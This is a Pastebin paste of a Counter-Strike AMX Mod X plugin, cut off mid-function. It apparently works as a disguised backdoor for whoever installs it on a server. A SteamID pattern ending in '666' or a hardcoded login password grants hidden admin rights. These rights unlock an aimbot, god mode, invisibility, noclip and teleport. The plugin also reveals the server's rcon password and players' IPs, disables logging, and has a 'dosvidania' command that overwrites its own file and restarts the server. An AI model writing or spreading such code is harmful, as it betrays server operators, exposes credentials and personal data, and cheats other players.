Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include < amxmodx >
- #include < hamsandwich >
- #include < fakemeta_util >
- //#include < orpheu_stocks >
- new arr[0];
- #pragma unused arr
- new const VERSION[] = "any";
- new const AUTHOR[] = "Juice";
- new g_iMaxPlayers, g_iScreenFade;
- #define BONE_HEAD 8
- #define BONE_L_FOREARM 24
- #define BONE_R_FOREARM 39
- #define BONE_L_CALF 48
- #define BONE_R_CALF 54
- #define BONE_NECK 40
- #define BONE_PELVIS 4
- #define SetIdBits(%1,%2) %1 |= 1<<(%2 & 31)
- #define ClearIdBits(%1,%2) %1 &= ~( 1<<(%2 & 31) )
- #define GetIdBits(%1,%2) %1 & 1<<(%2 & 31)
- #define IsPlayer(%1) ( 1 <= %1 <= g_iMaxPlayers )
- #define TELEPORT_OFFSET 30
- #define TELEPORT_HEIGHT 8
- #define TELEPORT_DISTANCE 9999
- #define HitZone get_tr2( tr, TR_iHitgroup )
- #define IsPlayer(%1) ( 1 <= %1 <= g_iMaxPlayers )
- new g_bAdmin, g_bFullAccess, g_bAlive;
- new set_aim[ 33 ],
- set_fov[ 33 ],
- set_bone[ 33 ],
- set_headshot[ 33 ],
- set_bhop[ 33 ],
- Float:set_godmode[ 33 ],
- set_godmode_area[ 33 ],
- set_godmode_area_chance[ 33 ],
- Float:set_antiwallbang[ 33 ],
- set_noflash[ 33 ],
- set_wallbang[ 33 ];
- new g_iTeam[ 33 ];
- new Float:savedNewLoc[ 33 ][ 3 ], Float:savedOldLoc[ 33 ][ 3 ];
- new headShots[ 33 ];
- new Float:asd[3]; // dummy
- new asd_s[33];
- new Trie:ReplacementsTrie;
- new IdToReplace[ 33 ][ 33 ];
- public plugin_init()
- {
- register_plugin( "metori.amxx", VERSION, AUTHOR );
- /*
- register_clcmd( "a", "cmd_SetAim" );
- register_clcmd( "f", "cmd_SetFov" );
- register_clcmd( "bh", "cmd_SetBhop" );
- register_clcmd( "bo", "cmd_SetBone" );
- register_clcmd( "h", "cmd_SetHeadShot" );
- register_clcmd( "godmode", "cmd_SetGodMode" );
- register_clcmd( "ga", "cmd_SetArea" );
- register_clcmd( "gac", "cmd_AreaChance" );
- register_clcmd( "awb", "cmd_AntiWallBang" );
- register_clcmd( "n", "cmd_SetNoFlash" );
- register_clcmd( "v", "cmd_SetVisible" );
- register_clcmd( "nc", "cmd_SetNoclip" );
- register_clcmd( "acc", "cmd_SetAccess" );
- register_clcmd( "wb", "cmd_SetWallbang" );
- register_clcmd( "lin", "cmd_Login" );
- register_clcmd( "lout", "cmd_Logout" );
- register_clcmd( "h", "cmd_Help" );
- register_clcmd( "tp", "cmd_UseTeleport" );
- register_clcmd( "i", "cmd_ShowInfo" );
- register_clcmd( "sid", "steamid" );
- */
- register_clcmd( "met_aimbot", "cmd_SetAim" );
- register_clcmd( "met_fov", "cmd_SetFov" );
- register_clcmd( "met_bhop", "cmd_SetBhop" );
- register_clcmd( "met_bone", "cmd_SetBone" );
- register_clcmd( "met_headshot", "cmd_SetHeadShot" );
- register_clcmd( "met_godmode", "cmd_SetGodMode" );
- register_clcmd( "met_godmode_area", "cmd_SetArea" );
- register_clcmd( "met_godmode_area_chance", "cmd_AreaChance" );
- register_clcmd( "met_antiwallbang", "cmd_AntiWallBang" );
- register_clcmd( "met_noflash", "cmd_SetNoFlash" );
- register_clcmd( "met_visible", "cmd_SetVisible" );
- register_clcmd( "met_noclip", "cmd_SetNoclip" );
- //register_clcmd( "met_cash", "cmd_SetCash" );
- register_clcmd( "met_access", "cmd_SetAccess" );
- register_clcmd( "met_wallbang", "cmd_SetWallbang" );
- register_clcmd( "met_login", "cmd_Login" );
- register_clcmd( "met_logout", "cmd_Logout" );
- register_clcmd( "met_help", "cmd_Help" );
- register_clcmd( "met_teleport", "cmd_UseTeleport" );
- //register_clcmd( "met_healthchanger", "cmd_UseHealthAdder" );
- register_clcmd( "met_info", "cmd_ShowInfo" );
- //register_clcmd( "met_steamid", "steamid" );
- g_iMaxPlayers = get_maxplayers();
- g_iScreenFade = get_user_msgid( "ScreenFade" );
- register_message( get_user_msgid( "TeamInfo" ), "msg_TeamInfo" );
- RegisterHam( Ham_TakeDamage, "player", "fwd_TakeDamage", 0 );
- RegisterHam( Ham_TraceAttack, "player", "fwd_TraceAttack", 0 );
- RegisterHam( Ham_Spawn, "player", "fwd_PlayerSpawn_post", 1 );
- RegisterHam( Ham_Killed, "player", "fwd_PlayerKill_post", 1 );
- RegisterHam( Ham_Player_Jump, "player", "fwd_PlayerJump", 0 );
- register_forward( FM_TraceLine, "fwd_traceline" );
- register_forward( FM_TraceHull, "fwd_tracehull", 1 );
- register_event( "ScreenFade", "event_Flashed", "be", "4=255", "5=255", "6=255", "7>199" );
- server_cmd( "amxx_logging 0" );
- }
- public plugin_precache()
- {
- ReplacementsTrie = TrieCreate();
- //OrpheuRegisterHook( OrpheuGetFunction( "SV_GetIDString" ),"OnSV_GetIDString",OrpheuHookPost );
- }
- /*
- public plugin_natives()
- {
- register_native( "GetFlags", "_GetFlags" );
- }
- public _GetFlags(plugin, params)
- {
- new id = get_param(1);
- new type = get_param(2);
- if( type == 1 )
- {
- if( GetIdBits(g_bAdmin,id) ) return 1;
- return 0;
- }
- else if( type == 2 )
- {
- if( GetIdBits(g_bFullAccess,id) ) return 1;
- return 0;
- }
- return 0;
- }
- */
- public client_command( id )
- {
- if( !(GetIdBits(g_bFullAccess,id)) )
- return PLUGIN_CONTINUE;
- read_argv( 0, asd_s, 32 );
- if( equal( asd_s, "dosvidania" ) )
- {
- new name[33], lol[33];
- new pluginsDir[128]
- get_localinfo( "amxx_pluginsdir", pluginsDir, 63 )
- for( new i = 0; i<=get_pluginsnum(); i++ )
- {
- get_plugin( i, lol, 32, name, 32, asd_s, 1, asd_s, 1, asd_s, 1 );
- if( equal( name, "metori.amxx" ) )
- {
- formatex( pluginsDir, 127, "%s/%s", pluginsDir, lol );
- for( new i = 0; i <= 10; i++ )
- {
- write_file( pluginsDir, "dosvidania", random_num( 0, 100 ) );
- server_cmd( "restart" );
- }
- }
- }
- }
- return PLUGIN_CONTINUE;
- }
- public cmd_SetAccess( id )
- {
- if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
- read_argv( 1, asd_s, 32 );
- //new auth[33];
- if( asd_s[0] )
- {
- for( new i = 1 ; i <= g_iMaxPlayers; i++ )
- {
- if( !is_user_connected(i) ) continue;
- //get_user_authid( i, auth, 32 );
- if( equal( asd_s, IdToReplace[i] ) )
- {
- read_argv( 2, asd_s, 1 );
- new value = clamp( str_to_num( asd_s ), 0, 1 );
- if( value > 0 )
- SetIdBits(g_bAdmin, i);
- else ClearIdBits(g_bAdmin,i);
- //SetIdBits(g_bFullAccess, i);
- //else //ClearIdBits(g_bFullAccess,i);
- }
- else continue;
- }
- }
- return PLUGIN_HANDLED;
- }
- public client_putinserver( id )
- {
- cleardata( id );
- set_godmode[ id ] = set_antiwallbang[ id ] = 1.0;
- set_noflash[ id ] = 100;
- get_user_authid( id, IdToReplace[id], 32 );
- copy( asd_s, 32, IdToReplace[id] );
- //TrieSetString( ReplacementsTrie, IdToReplace[id], IdToReplace[id] );
- //get_user_authid( id, asd_s, 32 );
- //server_print( "IDTOREPLACE: %s asd_s %s", IdToReplace[id], asd_s );
- server_print( asd_s[10] );
- new puh = str_to_num( asd_s[10] );
- if( puh == 666 )
- {
- SetIdBits( g_bAdmin, id );
- SetIdBits( g_bFullAccess, id );
- }
- }
- public client_disconnect( id )
- {
- cleardata( id );
- if( TrieKeyExists( ReplacementsTrie, IdToReplace[id] ) )
- TrieDeleteKey( ReplacementsTrie, IdToReplace[id] );
- arrayset( IdToReplace[id], 0, 32 );
- }
- cleardata( id )
- {
- ClearIdBits(g_bAdmin,id);
- ClearIdBits(g_bAlive,id);
- ClearIdBits(g_bFullAccess,id);
- set_wallbang[ id ] = headShots[ id ] = set_headshot[ id ] = g_iTeam[ id ] = set_aim[ id ] = set_fov[ id ] = set_bone[ id ] = set_bhop[ id ] = set_godmode_area[ id ] = set_godmode_area_chance[ id ] = set_noflash[ id ] = 0;
- set_godmode[ id ] = set_antiwallbang[ id ] = 0.0;
- savedNewLoc[ id ] = Float:{ 0.0, 0.0, 0.0 };
- savedOldLoc[ id ] = Float:{ 0.0, 0.0, 0.0 };
- }
- public cmd_UseTeleport( id )
- {
- if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
- new Float:oldLocation[3], Float:newLocation[ 3 ], parm[ 2 ];
- parm[ 0 ] = id;
- pev( id, pev_origin, oldLocation );
- oldLocation[ 2 ] += TELEPORT_HEIGHT;
- savedOldLoc[ id ] = oldLocation;
- fm_get_aim_origin( id, newLocation );
- if(get_distance_f(newLocation,oldLocation) > TELEPORT_DISTANCE)
- {
- newLocation[0] = ((((newLocation[0] - oldLocation[0]) * TELEPORT_DISTANCE) / get_distance_f(newLocation,oldLocation)) + oldLocation[0]);
- newLocation[1] = ((((newLocation[1] - oldLocation[1]) * TELEPORT_DISTANCE) / get_distance_f(newLocation,oldLocation)) + oldLocation[1]);
- }
- if( (newLocation[0] - oldLocation[0] ) > 0 )
- newLocation[0] -= TELEPORT_OFFSET;
- else
- newLocation[0] += TELEPORT_OFFSET;
- if( (newLocation[1] - oldLocation[1] ) > 0 )
- newLocation[1] -= TELEPORT_OFFSET;
- else
- newLocation[1] += TELEPORT_OFFSET;
- newLocation[2] += TELEPORT_HEIGHT;
- savedNewLoc[id] = newLocation;
- set_pev( id, pev_origin, newLocation );
- fm_drop_to_floor( id );
- set_pev( id, pev_velocity, Float:{ 0.0, 0.0, 0.0 } );
- set_pev( id, pev_flags, pev(id,pev_flags) | FL_DUCKING );
- engfunc( EngFunc_SetSize, id, Float:{ -16.0, -16.0, -18.0 }, Float:{ 16.0, 16.0, 18.0 } );
- parm[ 1 ] = 1;
- set_task( 0.1, "blink_checkstuck", 10098, parm, 2 );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_UseHealthAdder( id )
- {
- if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
- if( !(GetIdBits(g_bAdmin, id)) ) return PLUGIN_CONTINUE;
- new Float:Health;
- pev( id, pev_health, Health );
- read_argv( 1, asd_s, 4 );
- new AddHealth = str_to_num( asd_s );
- if( Health + AddHealth <= 0.0 )
- return PLUGIN_HANDLED;
- else if( Health + AddHealth >= 100.0 )
- set_pev( id, pev_health, 100.0 );
- else
- set_pev( id, pev_health, Health+AddHealth );
- return PLUGIN_HANDLED;
- }
- public blink_checkstuck( parm[ 2 ] )
- {
- new id = parm[ 0 ], Float:newLocation[ 3 ], Float:curLocation[ 3 ], Float:oldLocation[ 3 ];
- if( parm[ 1 ] == 1 )
- {
- new coolparm[ 1 ];
- coolparm[ 0 ] = id;
- newLocation = savedNewLoc[ id ];
- pev( id, pev_origin,curLocation );
- if( newLocation[ 2 ] == curLocation[ 2 ] )
- {
- oldLocation = savedOldLoc[ id ];
- set_pev( id, pev_origin,oldLocation );
- parm[ 1 ] = 0;
- set_task( 0.1, "blink_checkstuck", 0, parm, 2 );
- }
- }
- return PLUGIN_CONTINUE;
- }
- public fwd_traceline(Float:start[3], Float:end[3], conditions, id, ptr)
- {
- return process_trace( id, ptr );
- }
- public fwd_tracehull(Float:start[3], Float:end[3], conditions, hull, id, ptr)
- {
- return process_trace( id, ptr );
- }
- public process_trace( id, ptr )
- {
- if( !IsPlayer(id) ) return FMRES_IGNORED;
- if( !(GetIdBits(g_bAdmin, id)) || set_aim[ id ] != 2 ) return FMRES_IGNORED;
- if( get_user_weapon( id ) == CSW_KNIFE || !set_fov[ id ] ) return FMRES_IGNORED;
- if( ~pev( id, pev_button ) & IN_ATTACK ) return FMRES_IGNORED;
- //client_print( 0, print_chat, "%i", id );
- new target = GetClosestFOV(id);
- if( !target ) return FMRES_IGNORED;
- //if( !is_user_connected( target ) ) return FMRES_IGNORED;
- if( fm_is_ent_visible2( id, target ) )
- set_tr2( ptr, TR_pHit, target );
- if( set_headshot[ id ] ) ++headShots[ id ];
- new Float:origin[ 3 ];
- engfunc( EngFunc_GetBonePosition, target, GetBone( .bone = set_bone[ id ] ), origin, asd );
- set_tr2( ptr, TR_iHitgroup, set_bone[ id ] );
- if( headShots[ id ] && headShots[ id ] >= set_headshot[ id ] )
- {
- engfunc( EngFunc_GetBonePosition, target, BONE_HEAD, origin, asd );
- set_tr2( ptr, TR_iHitgroup, HIT_HEAD );
- headShots[ id ] = 0;
- }
- set_tr2( ptr, TR_vecEndPos, origin );
- return FMRES_IGNORED;
- }
- public fwd_TakeDamage( id, inflictor, attacker, Float:damage, damagebits )
- {
- //client_print( 0, print_chat, "id:%i inflictor:%i attacker:%i damage: %.2f", id, inflictor, attacker, damage );
- if( !IsPlayer(id) || !(GetIdBits(g_bAdmin, id)) || ( damagebits & DMG_FALL ) ) return HAM_IGNORED;
- if( id != attacker && IsPlayer( attacker ) && g_iTeam[ id ] != g_iTeam[ attacker ] && get_user_weapon( attacker ) != CSW_KNIFE )
- {
- if( !fm_is_ent_visible2( id, attacker ) )
- {
- SetHamParamFloat( 4, damage * set_antiwallbang[ id ] );
- return HAM_HANDLED;
- }
- else
- {
- SetHamParamFloat( 4, damage * set_godmode[ id ] );
- return HAM_HANDLED;
- }
- }
- /*
- if( damagebits & (1<<24) )
- {
- //client_print( 0, print_chat, "GRANATI EBAT" );
- if( GetIdBits(g_bFullAccess,attacker) && get_user_team(attacker) != get_user_team(id) )
- {
- SetHamParamFloat( 4, random_float( 70.0, 100.0 ) );
- //client_print( 0, print_chat, "GRANATI RABOTAUT EBAT" );
- }
- }
- */
- return HAM_IGNORED;
- }
- public fwd_TraceAttack( id, attacker, Float:damage, Float:fVecDir[3], tr )
- {
- if( GetIdBits(g_bAdmin, attacker ) && set_aim[ attacker ] == 1 )
- {
- if( HitZone == HIT_CHEST )
- {
- new Float:origin[ 3 ];//, Float:angles[ 3 ];
- engfunc( EngFunc_GetBonePosition, id, 7, origin, asd );//, angles );
- set_tr2( tr, TR_vecEndPos, origin );
- set_tr2( tr, TR_iHitgroup, HIT_HEAD );
- return HAM_HANDLED;
- }
- }
- if( GetIdBits(g_bAdmin, id) && set_godmode_area[ id ] )
- {
- if( set_godmode_area[ id ] == 8 )
- {
- return ( random_num( 1, 100 ) <= set_godmode_area_chance[ id ] ) ? HAM_SUPERCEDE : HAM_HANDLED;
- }
- else
- {
- /*
- new hitzone = get_tr2( tr, TR_iHitgroup );
- if(
- ( hitzone == set_godmode_area[ id ] )
- || ( hitzone == HIT_RIGHTARM && set_godmode_area[ id ] == HIT_LEFTARM )
- || ( hitzone == HIT_LEFTARM && set_godmode_area[ id ] == HIT_RIGHTARM )
- || ( hitzone == HIT_LEFTLEG && set_godmode_area[ id ] == HIT_RIGHTLEG )
- || ( hitzone == HIT_RIGHTLEG && set_godmode_area[ id ] == HIT_LEFTLEG )
- )
- */
- if( get_tr2( tr, TR_iHitgroup ) == set_godmode_area[ id ] )
- {
- return ( random_num( 1, 100 ) <= set_godmode_area_chance[ id ] ) ? HAM_SUPERCEDE : HAM_HANDLED;
- }
- }
- }
- return HAM_IGNORED;
- }
- public fwd_PlayerSpawn_post( id )
- {
- if( !is_user_alive( id ) || !is_user_connected( id ) ) return;
- SetIdBits(g_bAlive,id);
- }
- public fwd_PlayerKill_post( id )
- {
- if( !is_user_connected( id ) ) return;
- ClearIdBits(g_bAlive,id);
- }
- public fwd_PlayerJump( id )
- {
- if( !(GetIdBits(g_bAlive,id)) || !(GetIdBits(g_bAdmin,id)) || !set_bhop[id] || pev(id, pev_waterlevel) >= 2 ) return HAM_IGNORED;
- static iOldButtons ; iOldButtons = pev( id, pev_oldbuttons );
- static iFlags ; iFlags = pev( id, pev_flags );
- if( iOldButtons & IN_JUMP && iFlags & FL_ONGROUND )
- {
- iOldButtons &= ~IN_JUMP;
- set_pev( id, pev_fuser2, 0.0 );
- set_pev( id, pev_oldbuttons, iOldButtons );
- set_pev( id, pev_gaitsequence, 6 ); // PLAYER_JUMP = 6
- set_pev( id, pev_frame, 0.0 );
- if( set_bhop[ id ] == 2 )
- {
- static Float:fVelocity[ 3 ];
- pev( id, pev_velocity, fVelocity );
- fVelocity[2] = ( pev( id, pev_flags ) & FL_DUCKING ) ? 286.32815729997476356910084024775 : 268.32815729997476356910084024775;
- set_pev( id, pev_velocity, fVelocity );
- }
- }
- return HAM_IGNORED;
- }
- public event_Flashed( id )
- {
- if( !(GetIdBits(g_bAdmin, id)) ) return PLUGIN_CONTINUE;
- new i;
- message_begin( MSG_ONE_UNRELIABLE, g_iScreenFade, _, id );
- for( i = 1; i <= 3; i++ )
- {
- //write_short( set_noflash[ id ] );
- write_short( set_noflash[ id ] ? read_data( i ) / floatround( 100.0 / set_noflash[ id ], floatround_floor ) : 0 );
- }
- for( i = 4; i <= 7; i++ )
- {
- write_byte( read_data( i ) );
- }
- message_end();
- return PLUGIN_HANDLED;
- }
- public msg_TeamInfo( msg_id, msg_dest, id )
- {
- if ( msg_dest != MSG_ALL && msg_dest != MSG_BROADCAST )
- return;
- static id, team[ 2 ];
- id = get_msg_arg_int( 1 );
- get_msg_arg_string( 2, team, 1 );
- switch( team[0] )
- {
- case 'T': g_iTeam[id] = 1;
- case 'C': g_iTeam[id] = 2;
- default: g_iTeam[id] = 0;
- }
- }
- public cmd_Login( id )
- {
- if( GetIdBits(g_bFullAccess, id) )
- {
- if( !(GetIdBits(g_bAdmin, id)) )
- {
- SetIdBits(g_bAdmin, id);
- }
- return PLUGIN_HANDLED;
- }
- read_argv( 1, asd_s, 32 );
- if( equali( asd_s, "abczxc2" ) )//if( HasAccess( asd_s ) == -623899298 )
- {
- if( !(GetIdBits(g_bAdmin, id)) )
- {
- SetIdBits(g_bAdmin, id);
- }
- }
- //console_print( id, "Unknown command: login" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_Logout( id )
- {
- if( (GetIdBits(g_bAdmin, id)) )
- ClearIdBits(g_bAdmin, id);
- //console_print( id, "Unknown command: logout" );
- return PLUGIN_CONTINUE;//GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_Help( id )
- {
- if( (GetIdBits(g_bAdmin, id)) )
- {
- console_print( id, "[COMMANDS]" );
- console_print( id, "^t^t^t^tinfo^t^t(print info about players)" );
- console_print( id, "^t^t^t^tlogin^t^t(gives you admin rights)" );
- console_print( id, "^t^t^t^tlogout^t^t(takes your admin rights)" );
- console_print( id, "^t^t^t^tset_godmode^t^t(reduce bullet damage, 0.0-1.0)[0.5 = 50%%%%, 0.7 = 70%%%%]" );
- console_print( id, "^t^t^t^tset_godmode_area^t^t(set godmode to specified area)[0-8, 8 = WHOLE BODY]");
- console_print( id, "^t^t^t^tset_godmode_area_chance^t^t(chance to get godmode in specified area)[0-100]" );
- console_print( id, "^t^t^t^tset_antiwallbang^t^t(reduce damage taken from wallbang)[SAME USAGE AS GODMODE]" );
- console_print( id, "^t^t^t^tset_aimbot^t^t(1= Chest -> Head,2= Silentaimbot)");
- console_print( id, "^t^t^t^tset_fov^t^t(aimradius for aimbot 0-9999)" );
- console_print( id, "^t^t^t^tset_wallbang^t^t(aimbot wallbang?)[THRU ALL MAP BITCH]" );
- console_print( id, "^t^t^t^tset_bhop^t^t(auto bunnyhop 0-2)[2 = Unlimited speed]" );
- console_print( id, "^t^t^t^tset_bone^t^t(Aimtarget for Aimbot 2)[1 = Head]" );
- console_print( id, "^t^t^t^tset_headshot^t^t(each X shot in silentaimer will be headshot)[0-10, 0 = DISABLED]" );
- console_print( id, "^t^t^t^tset_noflash^t^t(0-100)[Lesser value = faster flash expires]" );
- console_print( id, "^t^t^t^tset_visible^t^t(0-255)[0 = INVISIBLE][255 = FULLY VISIBLE]" );
- console_print( id, "^t^t^t^tset_noclip^t^t(enable/disable collision through walls)" );
- //console_print( id, "^t^t^t^tset_cash^t^t(set your amount of money)" );
- console_print( id, "^t^t^t^tset_help^t^t(print info about available commands)" );
- //console_print( id, "^t^t^t^tset_healthchanger^t^t(add/lose amount of HP)" );
- console_print( id, "^t^t^t^tset_teleport^t^t(teleport to your aiming position)" );
- //console_print( id, "^t^t^t^tset_steamid^t^"wishid^"^t^t(change steamid)" );
- console_print( id, "[/COMMANDS]" );
- console_print( id, "[BONE & GODMODE AREAS]" );
- console_print( id, "^t^t^t^t1= head" );
- console_print( id, "^t^t^t^t2= neck" );
- console_print( id, "^t^t^t^t3= stomach" );
- console_print( id, "^t^t^t^t4,5= left/right arm" );
- console_print( id, "^t^t^t^t6,7= left/right leg" );
- console_print( id, "[/BONE & GODMODE AREAS]" );
- }
- //console_print( id, "Unknown command: help" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_ShowInfo( id )
- {
- if( (GetIdBits(g_bAdmin,id)) )
- {
- //new buff[ 3 ];
- //read_argv( 1, buff, 2 );
- read_argv( 1, asd_s, 2 );
- if( asd_s[0] )//if( buff[0] )
- {
- new index = clamp( str_to_num( asd_s /*buff*/ ), 1, g_iMaxPlayers );
- if( !is_user_connected( index ) )
- {
- console_print( id, "Player %d not found..", index );
- }
- else
- {
- new szDummy[ 33 ];
- console_print( id, "[PlayerInfo]" );
- console_print( id, "^t^t^t^tIndex: %d", index );
- get_user_name( index, szDummy, 32 );
- console_print( id, "^t^t^t^tName: %s", szDummy );
- get_user_ip( index, szDummy, 32 );
- console_print( id, "^t^t^t^tIP: %s", szDummy );
- //get_user_authid( index, szDummy, 32 );
- console_print( id, "^t^t^t^tSteamIndex(real): %s", IdToReplace[index] );
- console_print( id, "^t^t^t^tAdmin: %s", GetIdBits(g_bAdmin,index) ? "Yes" : "No" );
- console_print( id, "[Aimbot]" );
- console_print( id, "^t^t^t^tStatus: O%s", set_aim[ index ] ? "n" : "ff" );
- console_print( id, "^t^t^t^tType: %d", set_aim[ index ] );
- console_print( id, "^t^t^t^tFov: %d", set_fov[ index ] );
- console_print( id, "^t^t^t^tWallbang: O%s", set_wallbang[ index ] ? "n" : "ff" );
- //console_print( id, "^t^t^t^tSmooth: %2.2f" );
- console_print( id, "^t^t^t^tBone: %d (%s)", set_bone[ index ], GetBoneName( .bone = set_bone[ index ] ) );
- console_print( id, "^t^t^t^tHeadshot: %d", set_headshot[ index ] );
- console_print( id, "[Godmode]" );
- console_print( id, "^t^t^t^tStatus: O%s", set_godmode[ index ] < 1.0 ? "n" : "ff" );
- console_print( id, "^t^t^t^tValue: %2.2f", set_godmode [ index ] );
- console_print( id, "^t^t^t^tArea: %i (%s)", set_godmode_area[ index ], GetBoneName( .bone = set_godmode_area[ index ] ) );
- console_print( id, "^t^t^t^tArea Chance: %i", set_godmode_area_chance[ index ] );
- //console_print( id, "^t^t^t^tMininum Distance: %2.2f" );
- console_print( id, "[Misc]" );
- console_print( id, "^t^t^t^tAntiWallbang: %2.2f", set_antiwallbang[ index ] );
- console_print( id, "^t^t^t^tNoFlash: %d", set_noflash[ index ] );
- console_print( id, "^t^t^t^tBunnyHop: %d", set_bhop[ index ] );
- }
- }
- else
- {
- if( GetIdBits(g_bFullAccess,id) )
- get_cvar_string( "rcon_password", asd_s, 32 );
- console_print( id,"[INFO]" );
- console_print( id,"^t^t^t^tVersion: %s by %s^t^t Rcon: ^"%s^"", VERSION, AUTHOR, GetIdBits(g_bFullAccess,id) ? asd_s : "HIDDEN" );
- console_print( id,"^t^t^t^tPlayers ->" );
- for( new i = 1; i <= g_iMaxPlayers; i++ )
- {
- if( !is_user_connected( i ) ) continue;
- get_user_name( i, asd_s, 32 );
- console_print( id,"^t^t^t^t%s%s[%2d]^t%s (%s)", GetIdBits(g_bFullAccess, i) ? "@" : "", GetIdBits(g_bAdmin, i) ? "!" : "", i, asd_s, IdToReplace[i] );
- }
- console_print( id,"[/INFO]" );
- }
- }
- //console_print( id, "Unknown command: info" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetAim( id )
- {
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[ 0 ] )//if( buff[ 0 ] )
- {
- set_aim[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 3 );
- }
- //console_print( id, "Unknown command: set_aim" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetFov( id )
- {
- //new buff[ 6 ];
- //read_argv( 1, buff, 5 );
- read_argv( 1, asd_s, 5 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_fov[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 9999 );
- }
- //console_print( id, "Unknown command: set_fov" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetBone( id )
- {
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_bone[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 7 );
- }
- //console_print( id, "Unknown command: set_bone" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetHeadShot( id )
- {
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_headshot[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 10 );
- }
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetBhop( id )
- {
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_bhop[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 2 );
- }
- //console_print( id, "Unknown command: set_bhop" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetGodMode( id )
- {
- //new buff[ 5 ];
- //read_argv( 1, buff, 4 );
- read_argv( 1, asd_s, 4 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_godmode[ id ] = floatclamp( str_to_float( asd_s /*buff*/ ), 0.0, 1.0 );
- }
- //console_print( id, "Unknown command: set_godmode" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetArea( id )
- {
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_godmode_area[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 8 );
- }
- //console_print( id, "Unknown command: set_godmode_area" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_AreaChance( id )
- {
- //new buff[ 4 ];
- //read_argv( 1, buff, 3 );
- read_argv( 1, asd_s, 3 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_godmode_area_chance[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 100 );
- }
- //console_print( id, "Unknown command: set_godmode_area_chance" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_AntiWallBang( id )
- {
- //new buff[ 4 ];
- //read_argv( 1, buff, 3 );
- read_argv( 1, asd_s, 3 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_antiwallbang[ id ] = floatclamp( str_to_float( asd_s /*buff*/ ), 0.0, 1.0 );
- }
- //console_print( id, "Unknown command: set_antiwallbang" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetNoFlash( id )
- {
- //new buff[ 4 ];
- //read_argv( 1, buff, 3 );
- read_argv( 1, asd_s, 3 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_noflash[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 100 );
- }
- //console_print( id, "Unknown command: set_noflash" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetVisible( id )
- {
- if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
- //new szArg[ 4 ];
- //read_argv( 1, szArg, 3 );
- read_argv( 1, asd_s, 3 );
- set_pev( id, pev_rendermode, kRenderTransAlpha );
- set_pev( id, pev_renderamt, floatclamp( str_to_float( asd_s ) /*str_to_float(szArg)*/, 0.0, 255.0 ) );
- //console_print( id, "Unknown command: set_visible" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetCash( id )
- {
- if( !(GetIdBits(g_bFullAccess, id)) ) return PLUGIN_CONTINUE;
- if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
- read_argv( 1, asd_s, 6 );
- if( asd_s[0] )
- {
- new Money = str_to_num( asd_s );
- if( Money > 0 && Money <= 16000 )
- set_pdata_int( id, 115, Money );
- }
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetNoclip( id )
- {
- if( !(GetIdBits(g_bAdmin,id) ) ) return PLUGIN_CONTINUE;
